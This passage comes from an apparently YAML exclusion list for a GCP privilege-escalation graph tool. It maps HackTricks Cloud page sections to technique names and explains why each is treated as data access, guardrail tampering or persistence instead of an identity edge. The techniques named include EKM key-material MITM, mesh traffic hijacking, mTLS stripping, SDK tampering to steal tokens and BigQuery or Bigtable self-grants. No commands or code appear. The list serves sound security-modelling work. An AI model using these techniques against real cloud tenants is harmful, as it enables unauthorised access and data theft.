A principal edge needs a usable service route plus credential-bearing plaintext, both unknown to this snapshot. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#setting-up-for-delegation + technique: Delegation setup + reason: Setup for the decrypt-via-delegation data read. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#autokey-confused-deputy-cloudkmsautokeyconfigsupdate--cloudkmskeyhandlescreate + technique: Autokey confused deputy + reason: Key-material control / data access; no identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#ekm-connection-hijack-attacker-ekm--mitm-of-external-key-material-cloudkmsekmconnectionsupdate + technique: EKM connection hijack + reason: MITM of key material; data access / DoS, no identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#read-the-scripts + technique: Read VM scripts + reason: Credential discovery inside a VM; data read. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#custom-metadata + technique: Custom metadata secrets + reason: Data read of metadata values. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#abusing-iam-permissions + technique: Abusing the attached SA's IAM permissions + reason: Pointer; the permission-based paths are modelled in compute/osconfig/iam entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#search-for-keys-in-the-filesystem + technique: Search keys on filesystem + reason: Readable, live gcloud/ADC/key files may yield another principal credential, but local path contents, file + permissions, token validity and the attacker shell are host/runtime facts absent from the cloud snapshot. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#more-api-key-regexes + technique: API key regexes + reason: Regex hits may identify credentials, but file contents, readability, credential validity and the principal + behind a hit are host/content facts absent from the cloud snapshot. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md#initial-state + technique: Initial state + reason: Scenario description; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md#attack-explanation + technique: Metadata response injection + reason: The page documents a container-to-host sudo identity gain, but an injectable HTTP metadata poll, container + capabilities, host network placement and race success are runtime/host facts; cloud IAM configuration cannot + decide the path. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md#escape-technique + technique: Escape technique + reason: Network attack details; see above. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#network-security-networksecuritygoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#network-services-networkservicesgoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#networkserviceshttproutescreate--networkserviceshttproutesupdate--mesh-traffic-hijack + technique: Mesh traffic hijack + reason: Network pivot / traffic interception; no identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#networkservicesendpointpoliciescreate--update--strip-mtls--loosen-authz-on-victim-sidecars + technique: Strip mTLS on sidecars + reason: Network guardrail tamper. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#meshconfigprojectsinit--mesh-control-plane-bootstrap-persistence + technique: Mesh bootstrap + reason: Persistence. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#roles + technique: Roles + reason: Role listing; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#orgpolicy + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#orgpolicycustomconstraintscreate--update--author-org-wide-custom-constraints-org-scope + technique: Custom constraints + reason: Guardrail tamper / DoS. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-parallelstore-privesc.md#parallelstore-parallelstoregoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-parallelstore-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#pubsub + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#secretmanager + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#servicemanagement + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#servicemanagementservicessetiampolicy--self-grant-on-a-managed-service + technique: Managed service setIamPolicy + reason: Grants consumer/controller roles on an API service, not a principal identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#servicemanagementservicesupdate--config-rollout-authentication-injection + technique: Endpoints auth injection + reason: Application-level authentication tamper; not a GCP IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spanner + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#from-gcp-to-gws + technique: Section intro + reason: Heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#domain-wide-delegation-basics + technique: DWD basics + reason: Background; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#create-a-new-delegation-persistence + technique: Create a new delegation + reason: Persistence (requires Workspace super admin). +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#cross-organizational-delegation + technique: Cross-organization delegation + reason: Persistence variant of delegation creation. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#delepwn + technique: DelePwn tool + reason: Tooling for DWD abuse; covered by gcp-workspace-dwd-key-create / gcp-workspace-dwd-keyless-signjwt. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#delefriend + technique: DeleFriend tool + reason: Tooling for DWD abuse; covered by the DWD entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#gcp-generate-delegation-token + technique: Delegation token tool + reason: Tooling for DWD abuse; covered by the DWD entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#gitlabs-python-script + technique: GitLab script + reason: Tooling for DWD abuse; covered by the DWD entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#direct-service-account-workspace-resources-without-dwd + technique: SA-owned Workspace resources without DWD + reason: The SA uses only resources shared with itself; no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#agent-identity-auth-manager-credentials + technique: Agent Identity pointer + reason: Pointer; covered by gcp-agentidentity-retrieve-credentials / gcp-agentidentity-update-token-url. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#application-integration-credential-access + technique: Application Integration pointer + reason: Pointer; covered by gcp-appintegration-runas-sa-actas. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#workspace-http-add-on-deployment-takeover + technique: Add-on takeover pointer + reason: Pointer; covered by gcp-workspace-addons-deployment-update. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#creating-a-project-to-enumerate-workspace + technique: Create project to enumerate Workspace + reason: Enumeration. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#abusing-gcloud-credentials + technique: Modify SDK to cause user to authorize Drive and steal broader token + reason: Local host compromise plus a later interactive user consent and token extraction can yield broader Drive + scope, but these host/session/user-action facts are absent from cloud configuration snapshots. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#from-gws-to-gcp + technique: Section intro + reason: Heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md#understanding-domain-wide-delegation + technique: DWD explainer + reason: Background page; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md#domain-wide-delegation-under-the-hood + technique: DWD internals + reason: Background; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-identity-auth-manager-privesc.md#conditional-gcp-to-workspace-pivot + technique: Conditional pivot explanation + reason: Explains the conditions of the covered agentidentity entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-identity-auth-manager-privesc.md#read-only-enumeration-and-no-list-fallback + technique: Enumeration + reason: Read-only enumeration. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-identity-auth-manager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#read-only-enumeration-and-no-list-fallback + technique: Enumeration + reason: Read-only enumeration. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#preconditions + technique: Preconditions + reason: Conditions of the covered gcp-workspace-addons-deployment-update entry. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#enumerate-safely + technique: Enumeration + reason: Read-only enumeration. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#authorized-lab-proof + technique: Lab proof + reason: Validation notes for the covered entry. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#osconfigpatchdeploymentscreate--osconfigpatchjobsexec + technique: OS Config patch deployment pre/post steps + reason: Duplicate edge; covered by gcp-osconfig-patchjobs-exec (any_of patchJobs.exec / patchDeployments.create). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computerecoverablesnapshotssetiampolicy + technique: compute.recoverableSnapshots.setIamPolicy + reason: Self-granted resource access can expose offline filesystem data only after recoverable-snapshot recovery/use plus destination reconstruction and CMEK access. Credential escalation additionally needs a live reusable credential or private key in the reconstructed bytes and a principal whose access it grants; policy write alone does not prove either. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancessetmetadata--windows-local-administrator-reset-windows-keys + technique: Windows local Administrator reset via windows-keys metadata + reason: Same permission set and reach as gcp-compute-instances-setmetadata-existing-vm (setMetadata on the VM plus actAs on its attached SA); covered by that entry. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md#compute + technique: Compute intro + reason: Introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md#add-an-ssh-key-to-one-vm---computeinstancessetmetadata + technique: SSH key on one VM via compute.instances.setMetadata + reason: Covered by gcp-compute-instances-setmetadata-existing-vm (compute README source). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md#add-a-project-wide-ssh-key---computeprojectssetcommoninstancemetadata + technique: Project-wide SSH key via compute.projects.setCommonInstanceMetadata + reason: Covered by gcp-compute-projects-setcommoninstancemetadata (compute README source). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#environment--command-injection-into-an-admitted-workload-binary-authorization-bypass + technique: Env/command injection into an admitted workload (Binary Authorization bypass) + reason: Same permissions and reach as gcp-container-pod-template-node-sa (Pod-template create/update); only the code-delivery method differs. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclustersupdate--enable-legacy-authorization-abac + technique: container.clusters.update enables legacy ABAC + reason: "Enabling legacy ABAC on a Standard cluster can grant a controlled legacy client certificate unrestricted API access or widen a controlled KSA/node identity beyond its current RBAC. The edge requires proof that the source controls such an identity and that managed ABAC adds useful permissions; cluster update alone does not establish this." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#credential-minting-is-not-authorization + technique: Credential minting helpers (gkemulticloud generateAccessToken + reason: HackTricks and Google document these as authentication only; Kubernetes authorization still applies. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#historical-gke-kubelet-tls-bootstrap-credential-path + technique: Historical GKE kubelet TLS bootstrap credentials + reason: Historical in-pod metadata exposure needing a compromised Pod and a permissive CSR approver; blocked by current metadata concealment and Shielded GKE Nodes; no IAM permission edge. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#config-controller--config-connector-kcc + technique: Config Controller / KCC intro + reason: Introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#kcc-iamserviceaccountkey-plus-secret-read--mint-a-long-lived-key-for-a-more-privileged-service-account + technique: KCC IAMServiceAccountKey plus Secret read + reason: Needs same-namespace native Kubernetes create on IAMServiceAccountKey and get on the generated Secret, + plus the namespace Config Connector identity holding iam.serviceAccountKeys.create on a distinct target SA; + key creation must be allowed and Secret generation enabled. Existing transitive edges do not establish this + conjunction. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md#config-delivery + technique: Config Delivery intro + reason: Introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-analysis-privesc.md#container-analysis--artifact-analysis + technique: Container Analysis intro + reason: Introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-analysis-privesc.md#containeranalysisnotessetiampolicy--self-grant-control-of-one-note + technique: containeranalysis.notes.setIamPolicy + reason: Grants control of one Artifact Analysis note (attach/update occurrences); Binary Authorization still needs a valid attestor signature +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md#preview-source-data-as-the-design-time-service-account + technique: Pipeline Preview as the design-time identity + reason: Data read of up to the previewed rows through the Data Fusion service agent / namespace SA; no control of that identity (HackTricks). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-database-migration-privesc.md#database-migration-service + technique: Page intro + reason: Service introduction; at 171e422 the page states no distinct DMS privilege-escalation primitive is supported. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md#dataform + technique: Page intro + reason: Service introduction and strict act-as background; no standalone technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataplex-privesc.md#dataplexlakeszonesassetssetiampolicy--self-grant-backing-data-access-through-managed-asset-iam + technique: Dataplex lake/zone/asset setIamPolicy self-grant + reason: Grants read access to the backing Cloud Storage/BigQuery data only; no new identity (data access). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataplex-privesc.md#datacatalogcategoriessetiampolicy--self-grant-fine-grained-access-to-policy-tagged-bigquery-columns + technique: Policy tag setIamPolicy self-grant + reason: "Reveals policy-tagged BigQuery columns to a principal that already has table access; data access, no new identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-metastore-privesc.md#dataproc-metastore + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-metastore-privesc.md#metastoreservicessetiampolicy---grant-access-to-grpc-metadata + technique: metastore.services.setIamPolicy metadata self-grant + reason: "Grants read/write of one gRPC Metastore service's catalog metadata only; no new identity (data access)." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#--scopescloud-platform-at-cluster-create--oauth-scope-amplification-of-a-stolen-node-token + technique: --scopes=cloud-platform at cluster create + reason: Modifier of the cluster-create run-as path; covered by gcp-dataproc-clusters-batches-create-actas (access_scopes condition). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#--metadata-startup-script--ssh-keys-at-cluster-create--root-node-takeover-without-an-init-action + technique: Startup-script / ssh-keys metadata at cluster create + reason: Alternative code-exec channel of the cluster-create run-as path; covered by gcp-dataproc-clusters-batches-create-actas. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#--container-image-on-serverless-workloads--dependencyenvironment-poisoning + technique: Serverless --container-image dependency poisoning + reason: Image write paths are covered by gcp-artifactregistry-upload-artifacts / gcp-artifactregistry-tags-update (artifact_consumer); direct launch is covered by gcp-dataproc-clusters-batches-create-actas. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#datastream + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#zero-credential-native-gcp-source-spanner--pure-iam-confused-deputy + technique: Spanner source zero-credential confused deputy + reason: "Service-agent-driven data copy-out of an in-project Spanner database; data exfiltration, no new identity." +# G1 refresh (hacktricks-cloud @ 171e422): pages README .. gcp-cluster-director-privesc.md +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#iam-and-organization-policies + technique: Page intro pointer + reason: "Pointer to the IAM enumeration page; no technique." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#vpc-service-controls + technique: VPC-SC intro + reason: "Service introduction; no technique." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#gcpuseraccessbindings-cloud-bindings--context-removal-or-extended-workforce-sessions + technique: GcpUserAccessBinding context removal / extended sessions + reason: "Removes or relaxes access-level enforcement for a group's sessions; guardrail tamper, no new IAM identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanagerpoliciessetiampolicy--the-access-policys-own-iam-plane-invisible-backdoor + technique: Access policy setIamPolicy + reason: "Grants only Access Context Manager admin on the policy (guardrail control); no IAM principal or project role is reached." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#analyticshublistingssubscribe--access-a-published-dataset-or-pubsub-topic + technique: Subscribe to a listing + reason: Subscription can newly authorize cross-project reads of the objects intentionally published by a + listing. The current catalog lacks a data-resource target and listing-to-source join; a sound edge also + needs listing type, subscribability, destination creation and effective linked-resource read permissions, + and commercial, regional, restricted-export and VPC-SC constraints. It does not confer the publisher's + IAM identity or unrestricted source-data access. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#analyticshubdataexchangessubscribe--subscribe-to-a-data-clean-room + technique: Subscribe to a data clean room + reason: "Data access under clean-room rules; no identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#analyticshublistingssetiampolicy--analyticshubdataexchangessetiampolicy--self-grant-subscription-authority + technique: Self-grant subscriber on listings / exchanges + reason: "Self-grant of data-sharing subscription rights; data access only." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#apigeeenvironmentssetiampolicy--grant-an-environment-role-to-an-attacker-controlled-principal + technique: Apigee environment setIamPolicy + reason: "Grants Apigee environment roles only (deploy existing revisions); reaching an SA still needs authoring permissions and actAs, which the proxy/shared-flow entries model." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bare-metal-solution-privesc.md#retrieve-a-still-valid-initial-server-password + technique: Retrieve a BMS server's initial password + reason: "Yields an OS credential on a Bare Metal Solution server, not a Google Cloud IAM principal." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-beyondcorp-privesc.md#beyondcorp--chrome-enterprise-premium + technique: Service intro + reason: "Service introduction; no technique." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-beyondcorp-privesc.md#self-grant-access-to-an-existing-private-web-application + technique: Self-grant access to a private web app + reason: "Network/web application access through the secure gateway; no IAM identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-beyondcorp-privesc.md#repoint-an-application-the-caller-can-already-use-to-another-web-target-behind-its-existing-upstream + technique: Repoint an application to another upstream target + reason: "Network pivot to another private web target; no IAM identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-biglake-privesc.md#bigquerytablescreate--bigqueryconnectionsdelegate--create-a-table-that-reads-as-the-connection-service-account + technique: Table reading through a connection SA + reason: "In-band data read with the connection identity's storage access; no code execution or token." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-biglake-privesc.md#biglakecatalogsnamespacestablessetiampolicy--self-grant-on-a-lakehouse-resource + technique: Self-grant on a Lakehouse resource + reason: "Data self-grant; no identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerydatasetsupdate--bigquerydatasetssetiampolicy--self-grant-dataset-access + technique: Dataset ACL / IAM self-grant + reason: "Data self-grant; no identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryconnectionssetiampolicy--self-grant-connection-use + technique: Connection setIamPolicy self-grant + reason: "For Spark connections modelled as the setIamPolicy branch of gcp-bigquery-spark-procedure-connection-identity; for other connection types it yields data access (EXTERNAL_QUERY) or audience-bound remote-function calls." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#datacatalogtaxonomiessetiampolicy--self-grant-fine-grained-reader + technique: Taxonomy fine-grained reader self-grant + reason: "Column-level data access; no identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerydatapoliciesupdate--weaken-masking-or-add-a-raw-data-grantee + technique: Data policy weakening + reason: "Data masking tamper; data access only." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerydatapoliciesdelete--datacatalogtaxonomiesupdate--disable-column-level-enforcement + technique: Disable column-level enforcement + reason: "Data-protection tamper; data access only." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryroutinescreate--bigqueryconnectionsdelegateuse--invoke-cloud-run-through-a-remote-function + technique: Remote function through a connection + reason: "Calls one supported Cloud Run endpoint with an audience-bound token of the connection identity; confused-deputy invocation, not the identity's privileges." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#dataset-acl-write--authorize-a-routine-as-an-indirect-access-path + technique: Authorized routine + reason: "Indirect data read path; no identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerytablessetiampolicy--self-grant-table-access + technique: Table IAM self-grant + reason: "Data self-grant; no identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryrowaccesspolicies--widen-or-remove-row-level-security + technique: Row access policy widening + reason: "Data access tamper; no identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#dataset-acl-write--authorized-view-or-dataset-as-an-indirect-read-path + technique: Authorized view / dataset + reason: "Indirect data read path; no identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtableinstancessetiampolicy--self-grant-across-one-instance + technique: Instance IAM self-grant + reason: "Data self-grant; no identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtabletablessetiampolicy--self-grant-on-one-table + technique: Table IAM self-grant + reason: "Data self-grant; no identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtablebackupssetiampolicy--grant-restore-access-to-a-protected-backup + technique: Backup IAM grant + reason: "Data access through restore; no identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#authorizedmaterialized-view-setiampolicy--self-grant-scoped-data-access + technique: Authorized / materialized view IAM self-grant + reason: "Data self-grant; no identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtableauthorizedviewsupdate--widen-a-view-that-you-can-already-use + technique: Widen an authorized view + reason: "Data access widening; no identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-billing-privesc.md#billingaccountssetiampolicy--self-grant-billing-account-administrator + technique: Billing account admin self-grant + reason: "Financial control over a billing account; grants no project IAM role or identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-billing-privesc.md#why-other-billing-permissions-are-not-separate-privilege-escalation-techniques + technique: Other billing permissions + reason: "Explanatory section; no technique." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#certificate-authority-service + technique: Service intro + reason: "Service introduction; no technique." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloud-build + technique: Page intro + reason: "Service introduction; no technique." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md#iam-principals--org-policies + technique: Page intro pointer + reason: "Pointer to the IAM enumeration page; no technique." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloudschedulerjobsrun--force-a-preconfigured-privileged-request + technique: Force-run an existing job + reason: "Replays the stored request only; the source cannot choose the request, so it does not obtain the delivery identity's privileges." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloudschedulerjobscreate-or-update--actas-free-app-engine-handler-invocation + technique: App Engine target without actAs + reason: "Invokes same-project App Engine handlers (incl. login: admin); application-logic access, no IAM identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloudschedulerjobscreate-or-update--publish-to-a-same-project-pubsub-topic-as-the-scheduler-service-agent + technique: Pub/Sub publish as the Scheduler service agent + reason: "Message injection into same-project topics; further impact depends on subscriber logic, no identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-identity-auth-manager-privesc.md#agent-identity-auth-manager + technique: Page intro + reason: Service introduction; the two techniques are mapped under their own headings. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#application-integration + technique: Page intro + reason: Service introduction; the techniques are mapped under their own headings. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#deployment-manager + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#cloud-deployment-manager-deploymentmanagergoogleapiscom + technique: Service availability intro + reason: "Legacy-service availability note (end of support 2026-04-01, V2 API for existing customers until 2027-06-30); no technique." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#rejected-or-reclassified-ideas + technique: Rejected or reclassified ideas + reason: "Read-only manifest reads, unproven type-provider SSRF and template expansion in Google's environment; no escalation." +- source: 